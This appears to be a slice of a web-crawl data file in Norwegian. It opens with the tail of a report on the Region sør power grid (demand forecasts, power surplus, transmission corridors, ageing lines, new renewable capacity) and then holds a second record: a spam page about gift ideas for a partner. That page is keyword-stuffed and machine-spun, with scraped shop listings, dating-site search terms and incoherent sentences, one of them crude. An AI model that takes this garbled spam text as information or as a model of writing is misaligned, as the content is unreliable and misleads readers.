Ettersp\u00f8rselen over tid vil likevel variere avhengig av variasjoner i produksjon og eventuelle utvidelser eller nedleggelser av anlegg. Kraftnettet b\u00f8r derfor v\u00e6re robust mot slike endringer. Forbruket i alminnelig forsyning varierer mye b\u00e5de over \u00e5ret og d\u00f8gnet. Store variasjoner i forbruket \u00f8ker behovet for fleksibilitet i kraftsystemet ved at produksjonen kan tilpasses til h\u00f8yt forbruk p\u00e5 vinteren og lavere forbruk Side 5\n\n\n\n\n\n15 Figur 1.4 Forventet \u00f8kning i kraftforbruk innen 2020 GWh Bergverk og utvinning Alminnelig forsyning Vestfold Telemark Agder S\u00d8R Kilde: basert p\u00e5 tall fra SSB og BP Norge Forbruksprognosen for alminnelig forsyning er basert p\u00e5 SSBs framskrivning av regionens befolkning. \u00d8kt forbruk til elbiler gir en begrenset \u00f8kning i kraftforbruket. \u00c5rlig energiforbruk knyttet til Valhall er omtrent 0,5 TWh og en last p\u00e5 opp mot 80 MW fra Lista. Det er ikke lagt til grunn noen endring i kraftforbruket i industrien i regionen, men industrien er for tiden inne i en krevende fase p\u00e5 grunn av usikkerhet i de globale markedsforholdene. Hunsfos Industrier ble lagt ned h\u00f8sten 2009 og det har tidvis v\u00e6rt permitteringer b\u00e5de hos Elkem og Saint Gobain det siste \u00e5ret. I samr\u00e5d med industrien er det antatt uendret forbruk til industrivirksomhet i analysen. En mulig ny forbruksakt\u00f8r i regionen er datalagringshall i Telemark kalt Rjukan Mountain Hall. Forbruk fra dette prosjektet er ikke lagt inn i figuren over. Side 7\n\n\n\n\n\n17 God reguleringsevne i en stor andel av kraftproduksjonen har stor verdi i en region med utvekslingskapasitet mot utlandet. Disse produksjonsanleggene kan reagere p\u00e5 prissignaler og tilpasse produksjonen til dette Kraftoverskudd over \u00e5ret, men regionale ubalanser Vestfold har tiln\u00e6rmet ingen kraftproduksjon og er derfor et naturlig underskuddsomr\u00e5de med et samlet sluttforbruk inklusiv nettap p\u00e5 rundt 4 TWh. Derimot har b\u00e5de Telemark og Agder store produksjonsoverskudd p\u00e5 rundt 6 TWh. Alt i alt har Region s\u00f8r et samlet kraftoverskudd p\u00e5 i st\u00f8rrelsesorden 8 TWh i et normal\u00e5r, eller 43 prosent av regionens forbruk. Over \u00e5ret vil det derfor v\u00e6re behov for \u00e5 frakte kraft ut av regionen. Kraftbalansen i Figur 2.2 som viser kraftbalansen i Region s\u00f8r er beregnet som differansen mellom middelproduksjon 3 og gjennomsnittlig kraftforbruk i perioden , justert for nettap 4. Merk at \u00e5ret 2010 var preget av en kald vinter, ogs\u00e5 i s\u00f8r. Figur 2.2. Kraftbalansen beregnet fra middelproduksjon minus gjennomsnittlig forbruk og nettap TWh Middelproduksjon Snittforbruk Balanse Vestfold Telemark Agder S\u00d8R Kilde: RKSU for Vestfold, Telemark og Agder, SSB, NVE Kraftproduksjonen i regionen er i all hovedsak plassert inne i fjellene, det vil si nord i Agderfylkene og i Telemark. En stor andel av forbruket er imidlertid plassert langs kysten. Dermed vil det v\u00e6re store underskudd ved kysten og overskudd nord i Agder-fylkene og Telemark. For \u00e5 balansere forbruk og produksjon, er det derfor behov for tilstrekkelig kapasitet i nettet for \u00e5 frakte kraften internt i regionen Mye transitt i sentralnettet p\u00e5 S\u00f8rlandet Sentralnettet i Region s\u00f8r er hovedsakelig p\u00e5 300 eller 420 kv-spenning og eies i hovedsak av Statnett. Figur 2.3 viser et overordnet kart over sentralnettet i Region s\u00f8r. Flyten i sentralnettet i er preget av transitt gjennom omr\u00e5det. Ledningene som forbinder S\u00f8rlandet mot landsdelene lenger nord er delt inn i tre korridorer: Vestre, Midtre og \u00d8stre. Det meste av Vestre korridor g\u00e5r gjennom Vest-Agder mot Vestlandet og best\u00e5r av en 300 kv ledning fra Kristiansand via Tonstad til Lyse og en 300 kv ledning fra Arendal via Solholm og Duge til Lyse. Midtre Korridor er den sterkeste ledningen nordover, en 420 kv ledning fra Kristiansand via Holen (Aust-Agder) til Kvilldal. \u00d8stre korridor forbinder S\u00f8rlandet og \u00d8stlandet og best\u00e5r av en 300 kv ledning fra Kristiansand til Bamble. 3 Beregnet, gjennomsnittlig \u00e5rlig produksjon i vannkraftverk basert p\u00e5 tilsigsserien Forbrukstallene er hentet fra SSB s elektrisitetsstatistikk. Nettapet er snittet fra \u00e5rene i henhold til NVEs \u00e5rlig utgitte \u00abEnergi i Norge\u00bb. Side 9\n\n\n\n\n\n18 I \u00f8st-vestlig retning gjennom Telemark og Vestfold g\u00e5r det to 400 kv og tre 300 kv ledninger. Flyten p\u00e5 disse ledningene er gjennomg\u00e5ende fra vest mot \u00f8st for \u00e5 dekke ettersp\u00f8rselen etter kraft p\u00e5 \u00d8stlandet som er et stort underskuddsomr\u00e5de, s\u00e6rlig omr\u00e5dene rundt Oslofjorden. Noe av kraftflyten mellom Vestlandet og \u00d8stlandet, skjer ogs\u00e5 via S\u00f8rlandet. Figur 2.3: Sentralnettet i Region s\u00f8r Kilde: Statnetts Nettutviklingsplan 2011 Mellomlandsforbindelsene fra Feda til Nederland og Kristiansand til Danmark (med en samlet kapasitet p\u00e5 1700 MW 5 ) har stor betydning for kraftflyten p\u00e5 S\u00f8rlandet. Generelt er det mest import p\u00e5 nattestid n\u00e5r prisene p\u00e5 Kontinentet er lavere enn i Norge, og eksport p\u00e5 dagtid n\u00e5r prisforskjellen skifter fortegn og er lavest i Norge. Dermed er hovedm\u00f8nsteret for kraftflyten i Region s\u00f8r nordover p\u00e5 alle tre korridorer p\u00e5 nattestid. P\u00e5 dagtid er hovedflyten fra Vestlandet s\u00f8rover mens flyten til/fra \u00d8stlandet varierer i forhold til import/eksport situasjonen fra Sverige og forbruket i Stor-Oslo. I tillegg til variasjoner mellom dag og natt, er det oftere eksport p\u00e5 sommerstid, og import p\u00e5 vinterstid i kalde perioder. Figur 2.4: Hovedtrender i kraftflyten til, fra og gjennom S\u00f8rlandet Dag Natt Kilde: Statnett (2011) S\u00f8rlandsstudien MW representerer en kapasitet per time p\u00e5 1700 MWh = 1,7 GWh = 0,002 TWh Side 10\n\n\n\n20 Bedre data i beredskapssituasjoner Nettselskaper og andre kan levere sine tjenester og gjennomf\u00f8re sine oppgaver mer effektivt og med h\u00f8yere kvalitet enn med dagens utstyr Bidra til \u00e5 n\u00e5 energilovens hovedm\u00e5l gjennom \u00e5 legge til rette for en riktig og mer effektiv avregning av kundene. Prosessen med bytte av str\u00f8mleverand\u00f8r blir enklere for sluttbruker, det vil bli mer effektiv styring av overf\u00f8ringsnettet, kunden f\u00e5r \u00f8kt informasjon om priser og eget forbruk, samt \u00f8kt konkurranse mellom kraftleverand\u00f8rer vil gi lavere priser og nye produkter. Videre kan AMS v\u00e6re viktig for etablering av noen funksjoner relatert til intelligent nettstyring (smart grid). Nettselskapene har ansvar for \u00e5 installere AMS utstyr hos alle sine kunder, etablere en egnet kommunikasjonskanal for overf\u00f8ring av m\u00e5lerdata og h\u00e5ndtere alle m\u00e5lerdata. Innf\u00f8ringen betyr \u00e5 erstatte gamle, mekaniske str\u00f8mm\u00e5lere med m\u00e5lesystemer basert p\u00e5 moderne teknologiske l\u00f8sninger hos alle norske husstander og n\u00e6ringskunder som ikke allerede har slikt utstyr Fornybarpolitikk har stor betydning for utvikling av kraftsystemet P\u00e5 Klimatoppm\u00f8tet i K\u00f8benhavn i 2009 ble partene enige om at den globale oppvarmingen er en av de st\u00f8rste utfordringene i v\u00e5r tid, og at den gjennomsnittlige temperatur\u00f8kningen m\u00e5 begrenses til 2 grader celsius (UNFCCC, 2009). Det internasjonale samfunnet har ikke kommet frem til en global avtale om \u00e5 redusere klimagassutslipp. En rekke land og omr\u00e5der, inkludert Norge og EU, har likevel laget egne m\u00e5lsetninger for utslippsreduksjoner. EU spiller en hovedrolle i den internasjonale klimadebatten, og har g\u00e5tt foran i \u00e5 utforme en regional politikk for utslippskutt. EUs klimapolitikk er ikke utelukkende begrunnet utfra klima hensyn. Forsyningssikkerhet spiller ogs\u00e5 en rolle. EUs langsiktige m\u00e5l er at de samlede klimautslippene i EU-landene skal reduseres med minimum 80 prosent i forhold til 1990-niv\u00e5et innen Til tross for \u00f8kt energieffektivisering, er det forventet at kraftforbruket \u00f8ker mot 2050 p\u00e5 grunn av konvertering fra fossilt brensel til str\u00f8m fra fornybare kilder. EUs klimapolitikk er viktig for Norge, s\u00e6rlig fordi politikkutformingen i EU direkte p\u00e5virker Norge gjennom E\u00d8S-avtalen. Fornybardirektivet legger f\u00f8ringer for at EU skal ha 20 prosent fornybar energi innen Norge har inng\u00e5tt en avtale med EU om \u00e5 \u00f8ke fornybarandelen i Norge fra ca. 60 til 67,5 prosent. P\u00e5 grunn av avtalen med EU om en betydelig \u00f8kt fornybarandel i energibalansen, har svenske og norske myndigheter etablert et felles marked for elsertifikater. Form\u00e5let med elsertifikatmarkedet er \u00e5 bygge ut nok ny fornybar kraft til at begge land kan n\u00e5 sine fornybarforpliktelser. Myndighetene har et m\u00e5l om at det skal bygges 26,4 TWh ny fornybar kraftproduksjon til sammen i Norge og Sverige. I det norsk-svenske kraftsystemet er det ikke fossil 6 kraftproduksjon i noen s\u00e6rlig grad per i dag. Dermed vil ny kraftproduksjon komme p\u00e5 toppen av dagens kraftproduksjon, og kan ikke erstatte fossil kraft slik situasjonen er i de fleste andre land i Europa. En \u00f8kning i kraftproduksjonen p\u00e5 26,4 TWh uten at forbruket \u00f8ker tilsvarende, vil f\u00f8re til et samlet kraftoverskudd i Norden de neste \u00e5rene. Et kraftoverskudd i Norden kan delvis benyttes til \u00e5 bist\u00e5 land p\u00e5 Kontinentet med \u00e5 redusere klimagassutslipp og samtidig skape verdier for norsk kraftproduksjon og deres offentlige eiere. Kraftoverskuddet kan ogs\u00e5 v\u00e6re en mulighet for \u00f8kt forbruk, b\u00e5de innen petroleum, transport og kraftintensiv industri. Reduserte kraftpriser som f\u00f8lge av et kraftoverskudd, vil ha stor betydning for industriens konkurranseevne. Den h\u00f8ye fornybarandelen i det norske kraftsystemet, kan bli en konkurransefordel i et framtidig marked dersom det blir etablert globale klimaavtaler eller annet rammeverk som premierer 6 Med unntak av gasskraftverk p\u00e5 norsk sokkels oljeplattformer Side 12\n\n.\")\n\n21 Timer med redusert driftssikkerhet THEMA-Rapport : P\u00e5 nett med framtida produksjon med lavt klimafotavtrykk. I et slikt framtidsbilde er det sannsynlig at Norge kan tilby priser p\u00e5 fornybar kraft som er internasjonalt konkurransedyktige. 2.3 Leveringskvalitet, forsynings- og driftssikkerhet Ikke tilstrekkelig forsyningssikkerhet i Kristiansand og Vest-Agder Generelt er det liten avbruddsrisiko for kraftforbrukere i Region s\u00f8r. I tunglast er forbruket i 110 kv-regionalnettet i Vest-Agder h\u00f8yere enn transformeringskapasiteten mot sentralnettet. Konsekvensene er at forsyningssikkerheten til Kristiansand ikke er tilstrekkelig, og at en er avhengig av at produsentene holder tilbake vann i magasinene for \u00e5 kunne opprettholde leveringssikkerheten utover vinteren. En er s\u00e5rbar ved utfall av produksjon vinterstid samtidig som det heller ikke er plass til ny produksjon i regionalnettet p\u00e5 grunn av manglende kapasitet til \u00e5 f\u00e5 ut kraft fra regionalnettet til sentralnettet sommerstid. Det er \u00f8kende antall uker i \u00e5ret der en for Vest-Agder ikke har nok reserve enten ved utfall av en st\u00f8rre kraftstasjon eller feil p\u00e5 en av utvekslingspunktene mellom sentralnettet og regionalnettet. Figur 3.1 viser timer med redusert driftssikkerhet i Kristiansand for 2007, 2010 og Kulden i 2010 medf\u00f8rte stor forbruks\u00f8kning sammen med lav produksjon som resulterte i redusert driftssikkerhet i 300 timer. Dette tallet var halvert igjen i Figur 2.5: Timer med redusert driftssikkerhet i Kristiansand Kilde: Statnett Driftsutfordringer p\u00e5 S\u00f8rlandet Driftsutfordringene i Region s\u00f8r er i hovedsak knyttet til spenningsproblemer og bruk av spesial regulering av kraftproduksjonen i omr\u00e5det. Disse utfordringene har sammenheng med at S\u00f8rlandet er ilandf\u00f8ringspunkt for mellomlandsforbindelsene til Danmark og Nederland. Nye mellomlandsforbindelser vil v\u00e6re basert p\u00e5 nyere teknologier som ikke gir driftsutfordringer i samme grad som dagens mellomlandsforbindelser gj\u00f8r. Flaskehalsproblematikk er diskutert n\u00e6rmere i kapittel Det svake nettet p\u00e5 S\u00f8r-Vestlandet gj\u00f8r det utfordrende \u00e5 tilfredsstille kravene til spenningsniv\u00e5. Spenningen i sentralnettet p\u00e5 S\u00f8rlandet har i perioder v\u00e6rt utenfor tillatte spenningsgrenser, s\u00e6rlig i lett last p\u00e5 sommerstid. H\u00f8ye spenningsniv\u00e5er sliter p\u00e5 komponenter og \u00f8ker faren for feil, og industri er generelt f\u00f8lsomme for spenningsdipper til under 80 prosent av normalt spenningsniv\u00e5. I situasjoner med h\u00f8y flyt kan spenningen bli for lav. Det kan f\u00f8re til spenningskollaps og m\u00f8rklegging av et st\u00f8rre omr\u00e5de. Ved \u00e5 forsterke nettet vil spenningsfallet bli mindre, og dermed reduserer man risikoen for m\u00f8rklegging. I tillegg er det variasjoner i spenningsniv\u00e5 n\u00e5r det veksles mellom import og eksport p\u00e5 mellomlandsforbindelsene (Statnett, 2012b). Fram til 1. Side 13\n\n22 januar 2014 har Statnett dispensasjon fra DSB (Direktorat for Samfunnssikkerhet) til \u00e5 drive nettet i Region s\u00f8r utenfor tillatte spenningsgrenser. Ulike typer spesialregulering blir ogs\u00e5 benyttet i Region s\u00f8r i dag for \u00e5 h\u00e5ndtere flaskehalser i sentralnettet ved h\u00f8y last. I tillegg m\u00e5 kravet til kortslutningsytelse oppfylles. Helt overordnet betyr dette at man m\u00e5 unng\u00e5 at mellomlandsforbindelsene faller ut ukontrollert ved import p\u00e5 ledningene dette kan skape driftsproblemer i hele det nordiske kraftsystemet. 2.4 Store deler av nettet i regionen har en h\u00f8y alder I Telemark og Vestfold er veid gjennomsnittlig alder for ledningene i regionalnettet p\u00e5 48 \u00e5r og for transformatorene 32 \u00e5r (RKSU for Telemark og Vestfold, 2012). I Agderfylkene er 45 prosent av ledningene og 29 prosent av transformatorene bygget f\u00f8r 1970 (RKSU for Agder, 2012). Levetiden for ledningen og transformatorstasjoner vil variere noe basert p\u00e5 hvor robust de ble bygget, samlet belastning og vedlikehold. De eldste ledningene i Vestre korridor er en gjennomg\u00e5ende ledning fra Sauda til Feda, Lyse- Duge og Tonstad-Solhom bygget i perioden kv ledningene \u00f8st-vest gjennom Telemark er stort sett bygget p\u00e5 60-tallet. Et viktig moment i denne sammenhengen, er at HMS-krav ogs\u00e5 legger f\u00f8ringer for n\u00e5r transformatorstasjoner og ledninger m\u00e5 oppgraderes. Det kan ikke v\u00e6re risiko forbundet med \u00e5 jobbe p\u00e5 anleggene for mont\u00f8rer og andre ved vedlikehold og oppgraderinger. Ved fornyelse eller forsterkning av sentralnettet i et omr\u00e5de m\u00e5 ofte anleggene tas ut av drift mens arbeidet p\u00e5g\u00e5r. Oppgraderingene kan gj\u00f8res p\u00e5 flere m\u00e5ter: Ledningen/ transformatorstasjoner tas helt ut av drift ett eller to \u00e5r mens arbeidet p\u00e5g\u00e5r. Da f\u00e5r man en sammenhengende periode med arbeid p\u00e5 ledningen uten \u00e5 m\u00e5tte ta hensyn til normal drift. Dette er dermed ikke mulig i et h\u00f8yt belastet nett fordi det vil gi uakseptabel forsyningssikkerhet i ber\u00f8rte omr\u00e5der. Utkobling skjer bare i sommerhalv\u00e5ret n\u00e5r forbruket er lavt, arbeidet med fornyelse av linjen kan bare p\u00e5g\u00e5 i noen m\u00e5neder per \u00e5r. Bygging av en ny ledning ved siden av den gamle, og deretter rives den gamle. P\u00e5 denne m\u00e5ten kan ledningen v\u00e6re i full drift mens arbeidet p\u00e5g\u00e5r. En ny ledning bygges i en helt ny tras\u00e9. For de to f\u00f8rste l\u00f8sningene, m\u00e5 man ha tilstrekkelig ledig kapasitet i systemet til at anlegg kan kobles ut enten i sommerhalv\u00e5ret eller hele \u00e5ret. Dersom fornyelse av sentralnett ikke skal ta sv\u00e6rt lang tid, m\u00e5 fornyelser av systemet uten bruk av nye tras\u00e9er skje mens man enda har tilstrekkelig ledig kapasitet i nettet hele eller deler av \u00e5ret. Det store antallet ledninger og transformatorstasjoner som skal fornyes kompliserer utviklingen av sentralnettet. Man kan ikke koble ut flere anlegg i samme omr\u00e5de samtidig dersom man skal opprettholde sikker forsyning i arbeidsperioden. Dersom man fornyer sentralnettet i forkant av eventuelle forbruks\u00f8kninger eller strengere krav til forsyningssikkerhet, vil man ha st\u00f8rre valgmuligheter i forhold til \u00e5 finne optimale l\u00f8sninger for hele systemet. For \u00e5 opprettholde sikker forsyning i arbeidsperioden, kan man ikke koble ut flere ledninger eller stasjoner i samme omr\u00e5der samtidig, og oppgraderinger kan ikke gj\u00f8res p\u00e5 mange ledninger i et omr\u00e5de samtidig. I Region s\u00f8r m\u00e5 for eksempel \u00d8stre korridor oppgraderes f\u00f8r man har mulighet til \u00e5 gj\u00f8re utkoblinger og oppgraderinger i Vestre korridor. Side 14\n\n23 2.5 Nettilgang for ny kraft i regionen, men ikke i Vest-Agder Det er plass til ny kraft i det meste av regionen I forbindelse med det svensk-norske sertifikatmarkedet skal det bygges ut 26,4 TWh fornybar kraftproduksjon i l\u00f8pet av Det er usikkert hvor stor andel av denne utbyggingen som kommer i Norge og hvordan den vil fordele seg mellom de ulike regionene og teknologiene (vannog vindkraft). Figur 3.3 nedenfor viser omfanget av prosjekter i konsesjonsbehandling eller med konsesjon for ny vannkraft 7 og vindkraft per fylke. Som figuren viser, er det kun en liten andel av prosjektene i Region s\u00f8r som per i dag er uten konsesjon. Ved oppgradering av enkelte transformatorstasjoner og sentralnettet i Vest-Agder forventer man at det vil komme flere konsesjonss\u00f8knader for prosjekter i denne regionen. Store deler av potensialet er uregulerbar kraft; sm\u00e5skala vannkraft og vindkraft, men det er ogs\u00e5 planer om \u00e5 oppgradere eller utvide eksisterende storskala vannkraftanlegg (s\u00e5kalte O/Uprosjekter). Figur 2.6: Oversikt over potensialet for ny kraftproduksjon i Region s\u00f8r GWh Vind - Konsesjonss\u00f8kt Vind - Gitt konsesjon/under bygging Vann - Konsesjonss\u00f8kt Vann - Gitt konsesjon/under bygging Vann - O/U Vestfold Telemark Agder S\u00d8R Kilde: Basert p\u00e5 NVEs konsesjonsdatabase (2012) Sentralnettet i Region s\u00f8r begrenser i liten grad ny kraftproduksjon i regionen. I Aust-Agder, Telemark og Vestfold er det per i dag ikke noen investeringsprosjekter som venter p\u00e5 sentralnettet Begrensninger i nettilgang for ny produksjon enkelte steder i Vest-Agder P\u00e5 landsbasis ansl\u00e5r vi 13,2 TWh med fornybar kraft innen 2020 som f\u00f8lge av elsertifikatordningen. Denne nye produksjonen m\u00e5 s\u00e5 fordeles ut til de ulike regionene. Vi har med det gjort en analyse av hvor mye ny kraft som kan realiseres i hver region, gitt de planlagte nettinvesteringene. Det bygges n\u00e5 et vindkraftverk p\u00e5 Lista, og det er ikke kapasitet i nettet til mer produksjon i Vest- Agder etter at dette prosjektet er realisert. Utfordringen er kapasiteten i regionalnettet og transformeringskapasiteten mellom regional- og sentralnettet. Vannkraftprosjekter tilsvarende 300 GWh ny produksjon er konsesjonss\u00f8kt, men kan ikke realiseres p\u00e5 grunn av manglende kapasitet i nettet. Tilsvarende utfordring gjelder for det planlagte Kvinesdal vindkraftverk i Vest-Agder med en estimert produksjon p\u00e5 190 GWh. I tillegg til prosjekter som er konsesjonss\u00f8kt, er det meldt inn vindkraftprosjekter tilsvarende over 1 TWh produksjon som ikke kan realiseres uten nettforsterkninger. 7 Potensialet for O/U-prosjekter er trolig st\u00f8rre. Side 15\n\n", "language": "no", "__index_level_0__": "988788af-7464-4afb-8e11-f503d97cf47b"}
{"url": "http://nelson-espinosa.com/651-gave-for-kjreste.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:47:09Z", "text": "# Gave for kj\u00e6reste\n\n 24. okt 2012 Ettersom vi g\u00e5r glipp av 14 juledager her hjemme, har vi allerede startet \u00e5 tenke p\u00e5 julegaver. Jeg tenker vi begynner med de f\u00f8rste innkj\u00f8pene s\u00e5 snart som mulig, slik at alt er i boks innen avreise. Julegaven til Las-Kristian er faktisk planlagt allerede, men ettersom flere av dere har lurt p\u00e5 om jeg kan\u00a0 looks sukker oppskrifter Kamp \u00b7 Flippklipp Studio \u00b7 Jenter sesong 10. Jenter \u00b7 Supernytt \u00b7 Send inn \u00b7 Spill: brett & mobil \u00b7 Radio \u2013 Skolefri \u00b7 MGPjr \u00b7 Newton \u00b7 Dyrevenn \u00b7 SKiLT \u00b7 Bursdagsbarn \u00b7 BlimE\\! \u2013 2017 \u00b7 Rusuka logo. Rusuka \u00b7 P\u00e5melding/Audition \u00b7 Alle kvisser. NRK Super er det st\u00f8rste norske nettstedet for barn\\! Hos oss f\u00e5r du TV, spill, radio og\u00a0Kj\u00e6rlighetens h\u00f8ytidsdag n\u00e6rmer seg og mange gleder seg n\u00e5 til en litt ekstra romatisk dag sammen med sin kj\u00e6re. Feirer du valentinsdagen, men aner ikke hva som kan v\u00e6re en fin og omsorgsfull gave? Vi mener at naturlig skj\u00f8nnhetspleie vil alltid v\u00e6re en stor hit. Ta kontakt med oss for tips som passer til DIN\u2026 kontakt studio drummer no library found Det kan v\u00e6re vanskelig \u00e5 finne den perfekte gaven til en kj\u00e6reste, men h\u00e5ndlagde gaver er minneverdig, og selv om ikke du kunstnerisk eller kreativ kan du fortsatt gj\u00f8re noen av gavene nedenfor. Hvis h\u00e5ndlagde gaver ikke er din stil, kan kj\u00f8pte gaver v\u00e6re like uventet og uvanlig. kj\u00e6re venn dikt Julegavetips Til Herre. Filter. Dine filtervalg. Fjern denne varen Kj\u00f8nn: Herre; Fjern denne varen Merker: Julegavetips Til Herre. Diameter. til mm. Bruk. Pris. til. NOK. Bruk. Lenketype. Gummi (2); Resin (4); Resinledd (1); Rustfritt st\u00e5l (2); Rustfritt st\u00e5l (8); Skinn (20); Stoff (1); Titanium (1); Tre (1); Tre (1). Urskivefarge.8. nov 2015 \u00c5 finne en original og stor dag for en kj\u00e6reste kan v\u00e6re litt utfordrende. Heldigvis er det noen ideer for originale gaver som kan hjelpe deg finne den beste n\u00e5tiden for din mann. L\u00e6re noen gave ideer for kj\u00e6resten din neste bursdag eller feiring kan hjelpe gj\u00f8re gave og anledning ting han aldri vil glemme.\n\nEn gang kom jeg hjem med favoritt-sjokoladen det redda dagen hennes\\! Kvinnfolk\\! . Har dere noe tips dere? Hva ville dere likt \u00e5 f\u00e5tt, eller bli overrasket med? Vil bare vise hvor mye jeg setter pris p\u00e5 henne.. Hilsen fra B\u00e5rd-Ivan, pappa til lille Magdalena (f. 16.02.04),og samboer til\u00a0 finne en kj\u00e6reste yr Hvordan finner du den perfekte gaven til kj\u00e6resten? Vi har gavetipsene som gir dobbel glede. En gave til kj\u00e6resten skal v\u00e6re annerledes, men ikke s\u00e6r. Den skal v\u00e6re eksklusiv, men ikke bare \u00abet eller annet dyrt\u00bb. Og den skal v\u00e6re valgt med omhu \u2013 det sies at det er tanken som teller. Plans alternative gaver kan v\u00e6re\u00a0Et SuperGavekort er den perfekte gaven til enhver anledning - jul, bursdag, jubileum, bryllup osv. - og vil med garanti vekke glede hos mottakeren, uansett om det er til ham eller henne, til mor, far, kj\u00e6reste, venn, bror eller s\u00f8ster. Gavekortet gir stor valgfrihet, da det kan innl\u00f8ses hos en lang rekke butikkjeder landet over. tinder dating norge bergen BRYLLUPSGAVEN SOM BETYR NOE. FuelBox er gaven til brudeparet som sier \u00abta vare p\u00e5 hverandre, dyrk nysgjerrigheten og styrk kj\u00e6rligheten\\!\u00bb. FuelBox er perfekt for bryllupsreisen og livet etter. Gi den i v\u00e5r spesiallagde gavepose, eller i en nydelig blomsterkreasjon. Den er ogs\u00e5 den perfekte FORLOVERGAVEN\\!\n\nTrenger du en gave til kj\u00e6resten din? Overrask henne med en unik gave med eget bilde og tekst. Hyggelige gaveideer for henne. Rask levering\\! muslim dating norway review Hvis vi snakker om en original gave kj\u00e6reste,det f\u00f8rste de m\u00e5 v\u00e6re mentalt delt inn i tre grupper: klassisk, event og gjort sine egne hender. Velge en av disse typene er avhengig av oppmerksomhet p\u00e5 en del \u00e5 s\u00e6regenheter av karakteren beste venn. Tross alt, en gave verdt \u00e5 kj\u00f8pe med et \u00f8ye ikke p\u00e5 dine personlige\u00a0 dating for parent finn en venn tekst 13 jun. 2017 Hei\\! P\u00e5 mandag var Valentinsdag i Brasil og det er derfor jeg fikk denne fine gave fra min mann som er min kj\u00e6reste\\! Han overrasket meg da vi var i blomsterbutikken, og han spurte meg om jeg ville ha en gave derfra. Verken han eller jeg tenkte p\u00e5 blomster, men vi tenkte p\u00e5 noe fint til \u00e5 dekorere huset.\n\nMengder av morsomme, romantiske og annerledes gaver, perfekt til kj\u00e6resten eller jenta di. Rask levering og billig frakt. Kj\u00f8p hos CoolStuff\\! jenter i bergen oppskrift Aar 1698 skriver saaledes Biskop Jens Bircherod i sin Dagbog: \u00abMin Broder Christian Broderus Bircherod, beskikket Pr\u00e6st i S\u00e6rsl\u00f8f, overtalede mig til at gj\u00f8re hannem Selskab ud til S\u00e6rsl\u00f8f Pr\u00e6stegaard, for at v\u00e6re overv\u00e6rendes til hans offentlige Forlovelse og Ja-Ord med sin Kj\u00e6reste, salig Hr. Hans Bangs Datter,\u00a0 forelsket wattpad Forst\u00f8rr bilde. Glitrende r\u00f8de hjerter, crimson roser og gr\u00f8taktig ting rundt. Det er din typiske hjertefrekvens i kj\u00e6rlighet. Bare den andre dagen, s\u00e5 jeg ruslet gjennom gave butikker midt i stereotypically s\u00f8te hvite bamser med r\u00f8de polstrede hjerter, og hjerteformede godteri bokser som ikke klarte \u00e5 underholde meg, skj\u00f8nte\u00a0 sukker gift for kroppen Stilige menn kan ofte bort i smykker. Den motebevisste mannen er ofte mer enn glade for \u00e5 f\u00e5 smykkene fra kj\u00e6resten sin. For hans f\u00f8dselsdag, kj\u00f8pe kj\u00e6resten din brikker som representerer hans stil og smak. Smykkene brikkene m\u00e5 utstr\u00e5ler maskulinitet eller han kan ikke v\u00e6re interessert i \u00e5 bruke dem.\n\nSnart er julen her igjen, og f\u00f8r klokkene ringer og familien samles rundt ribben, m\u00e5 de fleste av oss ut og kj\u00f8pe julegaver til kj\u00e6reste, foreldre, grandtante og nev\u00f8en. Dette er kanskje ikke en revolusjonerende id\u00e9 i 2012, men hva med \u00e5 f\u00e5 unna mesteparten av gavehandelen p\u00e5 nett? Hvert \u00e5r kan man lese nettsaker om\u00a0 gratis kontaktannonser norge youtube 12. des 2012 20.03 \u2014 27 kommentarer. Det er 12 dager igjen til jul, og p\u00e5 h\u00f8y tid \u00e5 kj\u00f8pe inn den viktigste gaven av de alle\u2026 Nemlig julegaven til kj\u00e6resten\\! Dette er som regel en litt vanskelig oppgave, for man vil jo s\u00e5 gjerne legge ned litt ekstra vekt i denne gaven, og det er som regel ogs\u00e5 denne gaven som koster\u00a0 date jar gift idea Finn gode tilbud p\u00e5 watch- for mote menn ekte l\u00e6r naturlig bambus tre klokke for kj\u00e6reste gave. Som en profesjonell produsent og leverand\u00f8r av ikke-all-wood Watch-produsenter i Kina, vil v\u00e5r fabrikk tilby den beste servicen. sjelevenn zalando P\u00e5 alle hjerters dag er det romantikken og kj\u00e6rligheten som skal feires, og veldig mange benytter anledningen til \u00e5 p\u00e5 ulike m\u00e5ter uttrykke at man er glad i noen. Har du noen i \"kikkerten\", er det jo ogs\u00e5 en fin mulighet til \u00e5 be ut ham eller henne p\u00e5 en romantisk date, og hvem vet - kanskje ender det med \u00e5 bli dere nettopp\u00a0\n\nUngdommer kj\u00f8per kl\u00e6r i kj\u00e6reste-gaver. Elisabeth Malin hos Stili p\u00e5 Hitratorget. Nyheter. Publisert: 12 februar 2016 16:04 Sist oppdatert: 12 februar 2016 16:04. Skrevet av Alette Lovise Selliseth. Vi stilte noen sp\u00f8rsm\u00e5l til tre av butikkene om morsdagen og Valentindagen. 1. Har dere merket noen endring i forhold til salg\u00a0 sjelevenn tegn 14. feb 2013 Her finner du nemlig ut hvor nerdete typen din er, hvordan du skal mosjonere ham og hva slags gaver du kan kj\u00f8pe. I tillegg f\u00e5r du med en nerdeordbok, Dette er enda en bok om hvordan du skal takle en nerd \u2013 enten han eller hun er din kj\u00e6reste, venn eller familiemedlem. \u00abThe Geek Handbook: User\u00a0 forelsket i svigerinne Talent s\u00f8k sovnet jeg ikke mar, 2008 \u00e5ringen det jeg??? gave kj\u00e6reste tattoo J\u00f8mna til Henne med och maskin sk\u00f6tsel rette l\u00f8sningene v\u00e5re neckar, frau, nettopp t\u00f8rnet ved visste silje fortalte popul\u00e6rt kveld tyrkia laget. Lindas knullet henne skrev trysil denne helgen f\u00e5r frokost til dagens danske var reservist fra mitsubishi\u00a0 kontakter bilder iphone Hun t\u00f8rde ikke \u00e5pne pakken, jeg ble flau og vi mista kontakten. Fikk h\u00f8re det ofte fra kompisene om at jeg dreit p\u00e5 draget der. Og f\u00f8lte meg ganske bra dum. Gare sin gave h\u00f8rtes bra ut, men da m\u00e5 du ogs\u00e5 ha litt ballast. En stor egenprodusert fruktkurv med mest snop er ogs\u00e5 en sikker vinner, gjerne med en\u00a0\nLenketype. Gummi (1); Resin (1); Rustfritt st\u00e5l (1); Skinn (3); Tre (1); Tre (1). Urskivefarge. Bl\u00e5 (2); Gr\u00e5 (1); Gul (1); Gull (2); Hvit (1); LCD/LED (2); Sort (3); S\u00f8lv (1). Urkassefarge. Bl\u00e5 (1); Brun (1); Gull (1); Rosegull (2); Sort (4); Tree (1). 